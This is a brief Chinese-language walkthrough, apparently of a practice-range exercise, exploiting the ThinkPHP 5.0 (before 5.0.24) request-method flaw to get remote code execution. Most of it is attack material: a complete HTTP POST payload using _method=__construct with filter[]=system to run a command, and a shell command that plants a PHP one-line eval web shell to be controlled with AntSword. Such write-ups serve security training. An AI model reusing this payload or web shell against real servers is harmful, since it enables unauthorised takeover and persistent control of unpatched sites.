一、成因
ThinkPHP是中国使用极其广泛的PHP开发框架。在其 5.0(<5.0.24) 版本中,框架在获取请求方法时错误地对其进行处理,从而允许攻击者调用 Request 类的任何方法,从而通过特定漏洞链导致 RCE 漏洞。
二、漏洞利用
进入靶场页面
根据漏洞POC,远程代码执行命令为:id
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id #传入的参数
用burp抓包更改请求方式GET为POST
写入一句话木马
echo '<?php eval($_POST[cmd]); ?>' > shell.php
连接蚁剑